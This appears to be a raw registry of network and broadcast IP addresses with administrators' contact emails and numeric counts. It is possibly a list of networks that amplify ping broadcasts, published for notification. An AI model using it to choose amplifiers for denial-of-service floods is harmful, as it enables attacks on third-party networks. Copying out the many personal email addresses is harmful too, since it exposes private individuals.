204.248.234.255 bhufendick@forsythe.com 21 204.254.10.0 help@uunet.uu.net 21 204.254.8.0 help@uunet.uu.net 21 204.254.8.255 help@uunet.uu.net 21 204.48.149.0 tuma@ceo.sbceo.k12.ca.us 21 204.48.149.255 tuma@ceo.sbceo.k12.ca.us 21 205.213.18.0 Marlys.A.Nelson@uwrf.edu 21 205.246.52.255 carter@dgsys.com 21 205.253.114.0 karl@mcs.com 21 206.140.82.0 lak@aads.net 21 206.140.82.255 lak@aads.net 21 206.155.128.0 nomailbox@nowhere 21 206.155.128.255 nomailbox@nowhere 21 206.155.129.0 nomailbox@nowhere 21 206.155.129.255 nomailbox@nowhere 21 206.166.202.0 simonton@chlaw.com 21 206.166.202.255 simonton@chlaw.com 21 210.237.174.0 hostmaster@nic.ad.jp 21 210.237.174.255 hostmaster@nic.ad.jp 21 208.12.176.0 nomailbox@nowhere 21 208.12.176.255 nomailbox@nowhere 21 208.204.158.0 brett@winkcomm.com 21 210.156.197.0 hostmaster@nic.ad.jp 21 210.156.207.0 hostmaster@nic.ad.jp 21 208.204.158.255 brett@winkcomm.com 21 210.156.197.255 hostmaster@nic.ad.jp 21 207.213.16.0 nomailbox@nowhere 21 207.213.16.255 nomailbox@nowhere 21 210.225.196.255 hostmaster@nic.ad.jp 21 208.205.235.255 amurarka@splyglass.com 21 208.205.235.0 amurarka@splyglass.com 21 209.100.42.255 dmarlow@ccm.net 21 209.3.104.255 support@iconnet.net 21 209.21.153.255 hostmaster@harvard.net 21 210.156.207.255 hostmaster@nic.ad.jp 21 208.3.238.255 parker@nandover.mec.edu 21 209.77.127.0 rick@foothill.net 21 207.43.198.0 larry@amicus.com 21 210.67.64.255 JamesKLin@acer.net, JacksonWeng@acer.net 21 207.43.199.255 larry@amicus.com 21 207.196.146.0 marsh@selway.umt.edu 21 207.176.171.0 rpatch@skylinc.net 21 207.196.146.255 marsh@selway.umt.edu 21 207.183.157.255 noc@unicom.net 21 207.176.171.255 rpatch@skylinc.net 21 207.107.84.255 noc@sprint-canada.net 21 207.71.209.255 domreg@silcom.com 21 208.14.42.0 jerry@digital.net 21 206.74.69.0 mckee@admin.infoave.net 21 210.118.74.0 mgr@samsung.co.kr, ip@samsung.co.kr 21 206.74.198.0 mckee@admin.infoave.net 21 209.213.205.0 mickey@nanospace.com 21 208.211.250.0 aharris@greysf.com 21 206.74.69.255 mckee@admin.infoave.net 21 210.118.74.255 mgr@samsung.co.kr, ip@samsung.co.kr 21 208.152.111.255 jbrown@busprod.com 21 206.74.198.255 mckee@admin.infoave.net 21 207.86.229.255 dns@digex.net 21 207.111.2.0 jwilder@eric.mower.com 21 208.152.111.0 jbrown@busprod.com 21 209.233.239.0 ip-admin@pbi.net 21 208.216.228.255 dcl@xns.net 21 208.224.77.255 timmy@bcn.net 21 209.134.22.0 noc@worldsite.net 21 206.26.77.0 valdez@206.26.76.10 21 209.134.22.255 noc@worldsite.net 21 208.163.48.0 brian@mediacity.com 21 210.165.18.0 hostmaster@nic.ad.jp 21 207.62.155.0 netadmin@moe.calpoly.edu 21 208.150.208.0 aselden@wgm.org 21 206.3.34.255 hostinfo@psi.com 21 208.150.208.255 aselden@wgm.org 21 216.190.16.0 scottm@mpire.net 21 216.46.78.0 admin@terabit.net 21 216.190.16.255 scottm@mpire.net 21 207.125.25.255 ip-mgr@mail.state.tn.us 21 216.46.78.255 admin@terabit.net 21 207.243.35.255 nomailbox@nowhere 21 210.235.130.255 hostmaster@nic.ad.jp 21 209.108.94.0 21 209.145.20.0 peterb@imagine.com 21 212.47.201.0 neeme@data.ee, cougar@data.ee 21 216.168.240.0 cwei@netsol.com 21 209.145.20.255 peterb@imagine.com 20 62.132.254.0 reckert@vobis.de, stolz@vobis.de 20 62.132.254.255 reckert@vobis.de, stolz@vobis.de 20 192.204.84.0 20 192.204.84.255 20 193.15.43.255 20 193.164.172.0 tony@anglianet.co.uk 20 193.47.32.0 20 193.47.60.0 20 193.52.147.0 Gerard.Lietout@univ-rouen.fr 20 194.109.94.0 netmaster@xs4all.nl, sasja@lostboys.nl 20 194.168.255.0 nmc@ntli.net, amon@vnl.com 20 194.168.255.255 nmc@ntli.net, amon@vnl.com 20 194.229.95.255 20 194.250.16.0 bourgeois@fermic.fr, niel@fermic.fr 20 194.255.12.0 paaske@internet.dk 20 194.255.12.255 paaske@internet.dk 20 194.65.129.0 sialrm@mail.telepac.pt 20 195.146.32.0 dci@dci.iran.com, mohebali@www.dci.co.ir 20 195.224.212.0 nic@gxn.net, hatter@magic-moments.com 20 195.224.212.255 nic@gxn.net, hatter@magic-moments.com 20 195.25.165.255 hostmaster@oleane.net, amorise@allnet.fr 20 195.7.221.0 bulderm@psi.com 20 195.7.221.255 bulderm@psi.com 20 195.89.160.0 matthew@flexnet.net 20 195.89.163.0 matthew@flexnet.net 20 195.89.163.255 matthew@flexnet.net 20 198.145.48.0 dns@e-z.net 20 198.189.54.0 nes@4c.net 20 199.172.116.0 jeffs@sykes.com 20 199.172.116.255 jeffs@sykes.com 20 199.172.117.0 jeffs@sykes.com 20 199.172.117.255 jeffs@sykes.com 20 199.237.181.0 domainmaster@nw.verio.net 20 199.237.181.255 domainmaster@nw.verio.net 20 199.254.12.0 grw@sequana.com 20 199.80.64.255 mjd@te6000.otc.lsu.edu 20 200.10.112.0 carlospe@ssdnet.com.ar 20 200.10.112.255 carlospe@ssdnet.com.ar 20 200.23.168.255 alex@lince.itcelaya.ciateq.mx 20 200.34.53.0 manza@sureste.com 20 200.38.83.0 a_gd@hotmail.com 20 200.38.83.255 a_gd@hotmail.com 20 200.47.26.0 linoc@comsat.com.ar 20 200.47.26.255 linoc@comsat.com.ar 20 202.218.13.255 technical@apnic.net 20 202.225.130.0 20 202.32.54.255 hostmaster@nic.ad.jp 20 202.77.143.0 belcina@attmail.com 20 202.77.143.255 belcina@attmail.com 20 202.77.144.0 belcina@attmail.com 20 202.99.5.0 20 203.127.92.255 cheong@singnet.com.sg, hostmaster@singnet.com.sg 20 203.146.20.0 kitti@gssthai.com, tc@loxinfo.co.th 20 204.133.45.0 sbrown@co.weld.co.us 20 204.133.45.255 sbrown@co.weld.co.us 20 204.196.30.0 shreid@alpha.nsula.edu 20 204.243.104.255 hostinfo@psi.com 20 204.7.252.0 hostinfo@psi.com 20 204.7.252.255 hostinfo@psi.com 20 205.146.44.255 20 205.178.35.255 dave@brainstorm.net 20 205.205.76.255 leveque@mediafusion.ca 20 205.217.139.0 steve-breese@icva.gov 20 205.217.139.255 steve-breese@icva.gov 20 205.230.89.0 help@uunet.uu.net 20 205.230.89.255 help@uunet.uu.net 20 205.231.229.0 Daniel.Malcor@internetaddress.com 20 205.231.229.255 Daniel.Malcor@internetaddress.com 20 205.253.201.0 karl@mcs.com 20 206.154.117.0 gcoodley@siebel.com 20 206.154.117.255 gcoodley@siebel.com 20 208.153.241.255 lnguyen@gstworld.net 20 206.23.186.0 jwinters@tec.net 20 206.253.240.255 cql@cdimed.com 20 210.67.64.0 JamesKLin@acer.net, JacksonWeng@acer.net 20 208.211.250.255 aharris@greysf.com 20 207.212.34.0 ip-admin@pbi.net 20 207.245.43.0 NOCToronto@metronet.ca 20 210.135.90.0 hostmaster@nic.ad.jp 20 209.140.145.0 darin@good.net 20 212.33.192.0 tariq_a@joinnet.com.jo, NetAdmin@joinnet.com.jo 20 207.71.245.0 domreg@silcom.com 20 207.212.34.255 ip-admin@pbi.net 20 210.135.90.255 hostmaster@nic.ad.jp 20 207.237.144.255 domreg@interport.net 20 209.140.145.255 darin@good.net 20 212.33.192.255 tariq_a@joinnet.com.jo, NetAdmin@joinnet.com.jo 20 207.55.211.255 techsup@nkn.net 20 216.12.32.0 dns@cfw.com 20 216.50.66.0 technical@kivex.com 20 207.62.158.0 netadmin@moe.calpoly.edu 20 208.242.160.0 melkor@ulster.net 20 208.21.40.255 nomailbox@nowhere 20 216.50.66.255 technical@kivex.com 20 208.242.160.255 melkor@ulster.net 20 206.23.186.255 jwinters@tec.net 20 206.63.192.255 edm@nwnexus.wa.com 20 207.202.45.0 noc@corp.idt.net 20 208.200.173.0 jd@dynasty.net 20 207.202.45.255 noc@corp.idt.net 20 208.200.173.255 jd@dynasty.net 20 207.122.21.0 ops@bbnplanet.com 20 209.173.69.0 bni@bnisolutions.com 20 210.72.253.0 flink@flink.cn.net, flink@flink.cn.net 20 207.122.17.255 ops@bbnplanet.com 20 207.122.21.255 ops@bbnplanet.com 20 216.84.9.0 netadmin@southernet.net 20 207.122.17.0 ops@bbnplanet.com 20 207.113.158.0 hostmaster@crl.com 20 207.220.64.255 ejm@amadaamerica.com 20 207.113.158.255 hostmaster@crl.com 20 207.142.199.255 Torrisi@pcsltd.com 20 208.167.58.0 jmalerbi@turningpoint.com 20 208.167.58.255 20 209.91.205.255 cmarazzi@caribe.net 20 209.133.189.0 colgate@oir.state.sc.us 20 209.133.189.255 colgate@oir.state.sc.us 20 212.68.64.0 steffens@wespe.de, schmidt@digadd.de, andreas@wespe.de 20 206.52.82.0 bdot@toto.net 20 212.68.64.255 steffens@wespe.de, schmidt@digadd.de, andreas@wespe.de 20 207.177.122.255 20 208.164.139.255 webmaster@inu.net 20 208.164.139.0 webmaster@inu.net 20 209.56.155.0 dave.klinkefus@icn.state.ia.us 20 210.61.164.0 mchuang@ever.com.tw 20 206.23.185.0 jwinters@tec.net 20 210.61.164.255 mchuang@ever.com.tw 20 210.61.166.255 admin@hinet.net, chlin@netnews.hinet.net 20 206.23.185.255 jwinters@tec.net 20 209.38.3.0 dnsadmin@rmi.net 20 206.30.10.0 dgrosskopf@startek.com 20 209.38.3.255 dnsadmin@rmi.net 20 206.30.10.255 dgrosskopf@startek.com 20 208.158.116.0 nomailbox@nowhere 20 210.235.130.0 hostmaster@nic.ad.jp 20 207.230.223.0 network@centurytel.com 20 209.75.197.255 noc@atmnet.net 20 216.206.135.0 rsmith@hop-electric.com 20 216.60.246.0 hostmaster@swbell.net 20 216.206.135.255 rsmith@hop-electric.com 20 207.77.119.0 20 207.77.119.255 postmaster@ellstreet.com 20 206.52.82.255 bdot@toto.net 20 207.165.76.0 dave.klinkefus@icn.state.ia.us 20 207.165.76.255 dave.klinkefus@icn.state.ia.us 19 63.67.55.0 nomailbox@nowhere 19 155.50.25.0 bgallant@keps.com 19 155.50.25.255 bgallant@keps.com 19 161.223.113.0 19 161.223.113.255 19 161.223.126.255 19 161.223.34.0 19 161.223.34.255 19 193.119.172.0 19 193.140.128.0 serkan@mail.ogu.edu.tr, tevfik@mail.ogu.edu.tr 19 193.140.128.255 serkan@mail.ogu.edu.tr, tevfik@mail.ogu.edu.tr 19 193.140.130.255 serkan@mail.ogu.edu.tr, tevfik@mail.ogu.edu.tr 19 193.140.141.0 19 193.140.141.255 19 194.199.122.0 maxcasty@tin.it 19 194.199.122.255 maxcasty@tin.it 19 194.217.222.255 postmaster@heathmill.com 19 194.217.65.255 postmaster@lifecomputers.com 19 194.250.16.255 bourgeois@fermic.fr, niel@fermic.fr 19 195.141.97.0 peter.gilli@ubs.com 19 195.220.182.0 Patrice.Koch@univ-fcomte.fr, Gilles.Joly@univ- fcomte.fr 19 195.249.89.255 19 195.97.167.255 hein@euroconnect.net 19 198.107.47.255 jackp@ogitel.net 19 198.182.200.0 nizar@elem.com 19 198.64.37.0 hostmaster@sesqui.net 19 198.64.37.255 hostmaster@sesqui.net 19 199.100.114.255 hostinfo@psi.com 19 199.104.86.255 Bryon.Boam@mhz.com 19 199.106.0.0 dns@cerf.net 19 199.111.79.0 jaj@virginia.edu 19 199.111.79.255 jaj@virginia.edu 19 199.111.88.0 jaj@virginia.edu 19 199.111.88.255 jaj@virginia.edu 19 199.249.128.0 rcc@ancor.com 19 199.75.86.0 pammer@ususp.mo.md.us 19 199.75.86.255 pammer@ususp.mo.md.us 19 200.34.53.255 manza@sureste.com 19 202.160.8.0 rao@technet.sg 19 202.160.8.255 rao@technet.sg 19 202.179.228.0 19 202.179.232.0 19 202.216.64.0 technical@apnic.net 19 202.216.64.255 technical@apnic.net 19 202.234.38.0 hostmaster@nic.ad.jp 19 202.234.38.255 hostmaster@nic.ad.jp 19 202.36.235.0 nzhollley@applelink.apple.com 19 202.36.235.255 nzhollley@applelink.apple.com 19 202.94.7.0 michael@netchina.co.cn 19 203.146.20.255 kitti@gssthai.com, tc@loxinfo.co.th 19 203.16.25.0 hostmaster@telstra.net 19 203.179.96.0 hostmaster@nic.ad.jp 19 203.179.96.255 hostmaster@nic.ad.jp 19 203.182.136.0 hostmaster@nic.ad.jp 19 203.182.136.255 hostmaster@nic.ad.jp 19 203.182.32.0 hostmaster@nic.ad.jp 19 203.182.32.255 hostmaster@nic.ad.jp 19 203.183.120.0 hostmaster@nic.ad.jp 19 203.2.133.0 acer-au@NIC.AU.NET 19 203.2.133.255 acer-au@NIC.AU.NET 19 203.20.92.0 hostmaster@telstra.net 19 204.131.108.0 emontero@gmgw.com 19 204.131.108.255 emontero@gmgw.com 19 204.133.157.0 kenf@evt.com 19 204.189.114.255 buddyj@hic.net 19 204.193.150.0 noc@cyberconnection.com 19 204.193.150.255 noc@cyberconnection.com 19 204.201.1.0 its@nw.verio.net 19 204.201.1.255 its@nw.verio.net 19 204.210.65.0 rwintel@twmaine.com 19 204.210.65.255 rwintel@twmaine.com 19 204.243.104.0 hostinfo@psi.com 19 204.29.120.0 DNS@asc.edu 19 204.29.120.255 DNS@asc.edu 19 204.29.82.0 DNS@asc.edu 19 204.29.82.255 DNS@asc.edu 19 204.60.10.0 cmiller@snet.net 19 204.60.10.255 cmiller@snet.net 19 204.60.11.0 cmiller@snet.net 19 204.60.11.255 cmiller@snet.net 19 204.60.8.0 cmiller@snet.net 19 204.60.8.255 cmiller@snet.net 19 204.60.9.0 cmiller@snet.net 19 204.60.9.255 cmiller@snet.net 19 204.92.78.0 wayne@hodes.com 19 204.92.78.255 wayne@hodes.com 19 204.96.174.255 19 205.124.132.0 mcleary@uen.org 19 205.124.132.255 mcleary@uen.org 19 205.126.32.0 mcleary@uen.org 19 205.126.32.255 mcleary@uen.org 19 205.139.138.0 cengiz@netmar.com 19 205.139.138.255 cengiz@netmar.com 19 205.146.44.0 19 205.151.60.0 rivard@bdds.com 19 205.151.60.255 rivard@bdds.com 19 205.171.33.0 hostmaster@csn.net 19 205.171.33.255 hostmaster@csn.net 19 205.174.194.0 dharringt@deq.state.va.us 19 205.174.194.255 dharringt@deq.state.va.us 19 205.200.212.0 lesko@mts.net 19 205.200.212.255 lesko@mts.net 19 205.205.131.0 dgiroux@cenosis.com 19 205.229.125.255 twright@cathedral.org 19 205.229.126.255 twright@cathedral.org 19 206.102.165.255 nomailbox@nowhere 19 206.104.254.0 tony@sonet.net 19 206.104.254.255 tony@sonet.net 19 207.12.145.255 sbeverly@wavegate.com 19 206.6.19.0 hostinfo@psi.com 19 208.153.241.0 lnguyen@gstworld.net 19 206.23.195.255 jwinters@tec.net 19 209.212.228.0 andym@ntt.net 19 206.253.240.0 cql@cdimed.com 19 209.122.182.0 domreg@erols.com 19 209.172.65.255 hostmaster@innetix.com 19 207.113.154.255 hostmaster@crl.com 19 208.163.133.0 tony.kliphuis@quebecorusa.com 19 207.237.174.0 domreg@interport.net 19 206.216.219.0 kdelande@neton-line.com 19 208.161.62.255 jdm@networkcs.com 19 208.163.133.255 tony.kliphuis@quebecorusa.com 19 207.237.174.255 domreg@interport.net 19 206.216.219.255 kdelande@neton-line.com 19 207.205.77.0 dhovland@mpegla.com 19 209.5.112.0 noc@sprint-canada.net 19 209.5.116.0 noc@sprint-canada.net 19 209.5.117.0 noc@sprint-canada.net 19 209.5.118.0 noc@sprint-canada.net 19 209.183.196.0 noc@atlantech.net 19 209.16.223.0 james@fastrans.net 19 210.160.254.0 hostmaster@nic.ad.jp 19 216.93.12.255 ipadmin@voyager.net 19 207.1.76.255 nomailbox@nowhere 19 209.5.112.255 noc@sprint-canada.net 19 209.5.116.255 noc@sprint-canada.net 19 209.5.117.255 noc@sprint-canada.net 19 209.5.118.255 noc@sprint-canada.net 19 210.160.254.255 hostmaster@nic.ad.jp 19 207.64.19.0 o_cresson@twu.edu 19 207.168.219.0 dnstech@eni.net 19 216.12.32.255 dns@cfw.com 19 207.168.219.255 dnstech@eni.net 19 207.242.168.0 info@osuny.com 19 206.26.226.0 jjs@midcoast.com 19 209.84.232.0 ipadmin@gte.net 19 216.24.4.255 tague@win.net 19 207.64.19.255 o_cresson@twu.edu 19 207.242.168.255 info@osuny.com 19 206.26.226.255 jjs@midcoast.com 19 209.84.232.255 ipadmin@gte.net 19 210.171.0.0 hostmaster@nic.ad.jp 19 207.230.88.0 tony@sonet.net 19 210.163.149.0 hostmaster@nic.ad.jp 19 210.171.0.255 hostmaster@nic.ad.jp 19 207.230.88.255 tony@sonet.net 19 207.126.109.255 noc@above.net 19 208.149.222.255 domreg@cicom.net 19 207.139.14.0 wojciech@gbmicro.com 19 208.150.5.255 hostmaster@netmcr.com 19 208.242.140.255 lykenss1@equimed.com 19 206.64.176.255 noc@itg.net 19 208.155.228.255 ipswip@cw.net 19 208.229.142.0 gbooth@internetwerx.com 19 207.142.199.0 Torrisi@pcsltd.com 19 208.168.235.0 tblackm@remc8.k12.mi.us 19 207.133.114.255 HOSTMASTER@nic.mil 19 208.168.235.255 tblackm@remc8.k12.mi.us 19 206.204.38.0 noc@conxion.net 19 207.234.23.255 hostmaster@telalink.net 19 208.199.187.255 meta4@interramp.com 19 207.234.23.0 hostmaster@telalink.net 19 208.15.164.255 tony@atapco-custom.com 19 216.30.18.0 kenneth@jump.net 19 208.224.77.0 timmy@bcn.net 19 216.30.18.255 kenneth@jump.net 19 210.61.166.0 admin@hinet.net, chlin@netnews.hinet.net 19 209.22.10.0 HOSTMASTER@nic.mil 19 208.165.12.0 rick@augustmartin.net 19 208.165.14.0 rick@augustmartin.net 19 208.165.15.0 rick@augustmartin.net 19 209.22.10.255 HOSTMASTER@nic.mil 19 208.165.12.255 rick@augustmartin.net 19 208.165.14.255 rick@augustmartin.net 19 208.165.15.255 rick@augustmartin.net 19 210.249.139.0 maruyama@nic.ad.jp, yasuhiro@nic.ad.jp, kojima@nic.ad.jp, kentaro@nic.ad.jp 19 210.249.139.255 maruyama@nic.ad.jp, yasuhiro@nic.ad.jp, kojima@nic.ad.jp, kentaro@nic.ad.jp 19 209.161.37.0 dave@cyberhighway.net 19 209.161.37.255 dave@cyberhighway.net 19 209.227.8.0 eric@mxol.com 19 206.247.91.0 rkd@rmi.net 19 209.227.8.255 eric@mxol.com 19 208.17.89.255 gpiran@metrocon.com 19 206.247.91.255 rkd@rmi.net 19 209.242.205.255 jim@alphachannel.com 19 209.177.50.0 siavash@medaille.edu 19 207.28.110.0 dave.klinkefus@icn.state.ia.us 19 209.106.32.255 ben@more.net 19 209.177.50.255 siavash@medaille.edu 19 207.28.110.255 dave.klinkefus@icn.state.ia.us 19 207.139.157.255 pbreton@mediagrif.com 19 209.106.33.0 ben@more.net 19 209.172.101.255 hostmaster@innetix.com 19 216.102.249.255 ip-admin@pbi.net 18 62.8.10.0 lemann@gulliver.fr 18 62.8.10.255 lemann@gulliver.fr 18 62.8.11.255 lemann@gulliver.fr 18 152.9.52.0 westg@mars.nccu.edu 18 152.9.52.255 westg@mars.nccu.edu 18 167.199.232.0 jda51@state.ga.us 18 167.199.232.255 jda51@state.ga.us 18 192.174.42.0 18 192.174.42.255 18 192.246.227.0 hostinfo@psi.com 18 192.246.227.255 hostinfo@psi.com 18 192.93.178.0 Annie.Renard@inria.fr 18 192.93.79.0 Annie.Renard@inria.fr 18 192.93.79.255 Annie.Renard@inria.fr 18 193.13.178.0 18 193.13.178.255 18 193.180.104.0 bengt.skoog@helsingborg.se 18 193.180.104.255 bengt.skoog@helsingborg.se 18 193.204.215.255 staff-lir@garr.net, Enzo.Valente@infn.it, lupi@sdc.asi.it 18 193.52.75.0 dupre@genome.vjf.inserm.fr 18 193.52.75.255 dupre@genome.vjf.inserm.fr 18 194.112.195.0 joerg.jakober@plus.at, Philip.Hammersley@plus.at 18 194.112.195.255 joerg.jakober@plus.at, Philip.Hammersley@plus.at 18 194.183.102.0 jpd@caop.nl 18 194.183.102.255 jpd@caop.nl 18 194.183.204.255 ndenise@siris.fr, ruch@siris.fr 18 194.183.218.0 lemann@gulliver.fr 18 194.183.218.255 lemann@gulliver.fr 18 194.217.183.255 postmaster@network-technology.com 18 194.217.65.0 postmaster@lifecomputers.com 18 194.229.95.0 18 194.254.140.0 Philippe.Auclair@jouy.inra.fr, Claude.Zurbach@ensam.inra.fr 18 194.254.140.255 Philippe.Auclair@jouy.inra.fr, Claude.Zurbach@ensam.inra.fr 18 194.254.16.255 Philippe.Wender@insa-rouen.fr 18 194.254.171.0 florence@upn.univ-paris13.fr 18 194.45.167.0 kschmidt@applix.de, klisse@applix.de 18 194.45.167.255 kschmidt@applix.de, klisse@applix.de 18 194.57.0.0 techfem@mobilia.it 18 194.57.0.255 techfem@mobilia.it 18 194.57.11.0 techfem@mobilia.it 18 194.57.11.255 techfem@mobilia.it 18 194.73.58.0 18 194.73.58.255 18 195.122.12.0 Aleks.Maslobojev@apollo.lv 18 195.122.12.255 Aleks.Maslobojev@apollo.lv 18 195.249.71.0 18 195.249.71.255 18 195.26.32.0 jane.greening@4thwave.co.uk, mat.withers@4thwave.co.uk 18 195.26.32.255 jane.greening@4thwave.co.uk, mat.withers@4thwave.co.uk 18 195.30.20.0 max@blitz.net, holger@blitz.net 18 196.15.128.0 johans@igubu.saix.net 18 196.22.206.0 massel@neptune.co.za 18 198.114.68.0 wsanders@ccmg.lotus.com 18 198.114.68.255 wsanders@ccmg.lotus.com 18 198.214.170.0 D.Nash@utexas.edu 18 198.214.170.255 D.Nash@utexas.edu 18 199.119.8.255 http://103536.3617@compuserve.com 18 199.120.118.0 noc@netins.net 18 199.120.118.255 noc@netins.net 18 199.173.20.0 net-admin@intac.com 18 199.173.20.255 net-admin@intac.com 18 199.217.85.0 robertc@savvis.com 18 199.221.104.255 krish@ans.net 18 199.239.27.0 hostmaster@co.verio.net 18 199.239.27.255 hostmaster@co.verio.net 18 200.31.28.0 chris@impsat.net.ar 18 200.31.30.0 mvera@impsat.net.ec 18 200.34.71.0 2090823@mcimail.com 18 200.34.71.255 2090823@mcimail.com 18 202.104.151.255 18 202.211.34.255 technical@apnic.net 18 202.27.240.0 ashtonb@landcare.cri.nz, mclennanm@landcare.cri.nz 18 202.27.241.255 ashtonb@landcare.cri.nz, mclennanm@landcare.cri.nz 18 202.94.7.255 michael@netchina.co.cn 18 203.103.97.0 18 203.103.97.255 18 203.24.138.0 hostmaster@telstra.net 18 203.24.138.255 hostmaster@telstra.net 18 203.27.92.255 hostmaster@telstra.net 18 203.67.41.0 cjcherng@mozart.seed.net.tw, sysop@mozart.seed.net.tw 18 203.73.242.0 cjcherng@mozart.seed.net.tw, sysop@mozart.seed.net.tw 18 203.93.87.0 18 204.142.155.0 jtt@paragonsys.com 18 204.142.155.255 jtt@paragonsys.com 18 204.189.114.0 buddyj@hic.net 18 204.210.66.0 rwintel@twmaine.com 18 204.210.66.255 rwintel@twmaine.com 18 204.211.201.0 hostmaster@sips.state.nc.us 18 204.211.201.255 hostmaster@sips.state.nc.us 18 204.225.126.0 lowy@convoke.com 18 204.225.127.255 lowy@convoke.com 18 204.34.19.0 18 204.34.19.255 18 204.48.152.255 tuma@ceo.sbceo.k12.ca.us 18 204.57.187.255 edm@nwnexus.wa.com 18 204.95.48.255 karl@mcs.com 18 205.150.202.0 craig@garland-group.com 18 205.153.28.255 MWilliams@charter.com 18 205.218.4.255 nomailbox@nowhere 18 205.221.105.0 grpjl@iastate.edu 18 205.221.105.255 grpjl@iastate.edu 18 205.221.96.0 grpjl@iastate.edu 18 205.221.96.255 grpjl@iastate.edu 18 205.229.127.255 twright@cathedral.org 18 205.241.199.255 Niels@opup.org 18 205.243.207.0 ryan@inc.net 18 206.110.233.0 hostmaster@alameda-coe.k12.ca.us 18 206.110.233.255 hostmaster@alameda-coe.k12.ca.us 18 206.110.234.0 hostmaster@alameda-coe.k12.ca.us 18 206.110.234.255 hostmaster@alameda-coe.k12.ca.us 18 206.136.242.255 help@uunet.uu.net 18 206.140.86.0 lak@aads.net 18 206.140.87.0 lak@aads.net 18 206.149.40.255 reginfo@nkn.net 18 206.166.209.0 mwilliam@ptc.dcs.edu 18 206.166.209.255 mwilliam@ptc.dcs.edu 18 206.166.241.255 mwilliam@ptc.dcs.edu 18 206.166.242.0 mwilliam@ptc.dcs.edu 18 206.172.122.0 debbie@worldlinx.com 18 206.172.122.255 debbie@worldlinx.com 18 206.172.192.0 debbie@worldlinx.com 18 206.172.192.255 debbie@worldlinx.com 18 206.172.197.0 debbie@worldlinx.com 18 206.172.197.255 debbie@worldlinx.com 18 206.172.198.0 debbie@worldlinx.com 18 206.172.198.255 debbie@worldlinx.com 18 206.172.199.0 debbie@worldlinx.com 18 206.172.199.255 debbie@worldlinx.com 18 206.172.224.0 debbie@worldlinx.com 18 206.172.224.255 debbie@worldlinx.com 18 206.172.225.0 debbie@worldlinx.com 18 206.172.225.255 debbie@worldlinx.com 18 206.172.226.0 debbie@worldlinx.com 18 206.172.226.255 debbie@worldlinx.com 18 206.172.235.0 debbie@worldlinx.com 18 206.172.235.255 debbie@worldlinx.com 18 206.172.236.0 debbie@worldlinx.com 18 206.172.236.255 debbie@worldlinx.com 18 206.23.195.0 jwinters@tec.net 18 212.208.154.0 root@cppgroup.com, olemarie@fr.uu.net 18 209.212.228.255 andym@ntt.net 18 210.63.176.255 maxkuan@ttn.com.tw, dean@ht.net.tw 18 207.177.117.255 noc@netins.net 18 210.175.52.0 hostmaster@nic.ad.jp 18 210.175.52.255 hostmaster@nic.ad.jp 18 208.33.192.0 si@kca.net 18 207.173.214.0 abuse@eli.net 18 208.33.192.255 si@kca.net 18 207.233.34.255 nes@4c.net 18 216.93.12.0 ipadmin@voyager.net 18 208.223.124.0 nomailbox@nowhere 18 207.22.129.0 arrants@bmd.clis.com 18 206.228.161.0 NOC@sprint.net 18 212.250.209.0 nmc@ntli.net, kmarshall@ireng.com 18 209.198.249.0 noc@interpacket.net 18 208.223.124.255 nomailbox@nowhere 18 207.22.129.255 arrants@bmd.clis.com 18 206.228.161.255 NOC@sprint.net 18 212.250.209.255 nmc@ntli.net, kmarshall@ireng.com 18 209.198.249.255 noc@interpacket.net 18 209.85.25.0 hostmaster@softaware.com 18 207.107.105.0 noc@sprint-canada.net 18 209.5.121.0 noc@sprint-canada.net 18 209.5.122.0 noc@sprint-canada.net 18 207.107.152.0 noc@sprint-canada.net 18 207.107.153.0 noc@sprint-canada.net 18 209.63.198.0 sforester@e-infoinc.com 18 207.107.206.0 noc@sprint-canada.net 18 207.107.207.0 noc@sprint-canada.net 18 207.107.221.0 noc@sprint-canada.net 18 207.107.234.0 noc@sprint-canada.net 18 207.107.235.0 noc@sprint-canada.net 18 207.107.105.255 noc@sprint-canada.net 18 209.5.121.255 noc@sprint-canada.net 18 209.5.122.255 noc@sprint-canada.net 18 207.107.152.255 noc@sprint-canada.net 18 207.107.153.255 noc@sprint-canada.net 18 209.63.198.255 sforester@e-infoinc.com 18 207.107.206.255 noc@sprint-canada.net 18 207.107.207.255 noc@sprint-canada.net 18 207.99.208.255 art@lacoe.edu 18 207.107.221.255 noc@sprint-canada.net 18 207.107.234.255 noc@sprint-canada.net 18 207.107.235.255 noc@sprint-canada.net 18 210.69.250.255 18 208.21.40.0 nomailbox@nowhere 18 208.230.78.0 kstrange@net-temps.com 18 207.200.148.0 martinb@imag.net 18 207.200.149.0 martinb@imag.net 18 207.200.152.0 martinb@imag.net 18 207.200.155.0 martinb@imag.net 18 207.234.1.255 hostmaster@telalink.net 18 212.10.24.255 kskov@stofa.dk, kskov@pip.dknet.dk, tormelle@stofa.dk, tormelle@login.dknet.dk 18 208.230.78.255 kstrange@net-temps.com 18 216.101.117.255 18 207.200.148.255 martinb@imag.net 18 207.200.149.255 martinb@imag.net 18 207.200.150.255 martinb@imag.net 18 207.200.152.255 martinb@imag.net 18 207.200.153.255 martinb@imag.net 18 207.200.153.0 martinb@imag.net 18 207.200.154.0 martinb@imag.net 18 208.230.168.0 Hostmaster@digitalgreen.com 18 208.230.170.0 Hostmaster@digitalgreen.com 18 207.28.171.0 dave.klinkefus@icn.state.ia.us 18 208.158.229.0 jeff@digitalgreen.com 18 207.19.241.0 adam_rasmussen@highend.com 18 207.109.251.0 hostmaster@uswest.net 18 210.150.12.255 hostmaster@nic.ad.jp 18 208.170.101.255 mderrick@hiwaay.net 18 212.12.129.255 ibrahim@fornet.net.tr, ilker@fornet.net.tr, eren@fornet.net.tr, teknik@fornet.net.tr 18 207.200.155.255 martinb@imag.net 18 208.230.168.255 Hostmaster@digitalgreen.com 18 207.28.171.255 dave.klinkefus@icn.state.ia.us 18 208.158.229.255 jeff@digitalgreen.com 18 208.158.230.255 jeff@digitalgreen.com 18 207.19.241.255 adam_rasmussen@highend.com 18 207.109.251.255 hostmaster@uswest.net 18 207.223.57.0 maa@jwgnet.com 18 216.190.92.0 SLB@jenkon.com 18 207.200.150.0 martinb@imag.net 18 207.200.151.0 martinb@imag.net 18 216.13.163.0 martinb@imag.net 18 207.223.57.255 maa@jwgnet.com 18 216.190.92.255 SLB@jenkon.com 18 207.200.151.255 martinb@imag.net 18 216.13.163.255 martinb@imag.net 18 209.76.204.0 18 209.76.204.255 jhoulding@psr.edu 18 216.107.0.0 engineering@nni.com 18 216.107.5.0 engineering@nni.com 18 216.107.6.0 engineering@nni.com 18 216.107.13.0 engineering@nni.com 18 216.107.18.0 engineering@nni.com 18 216.107.20.0 engineering@nni.com 18 216.107.23.0 engineering@nni.com 18 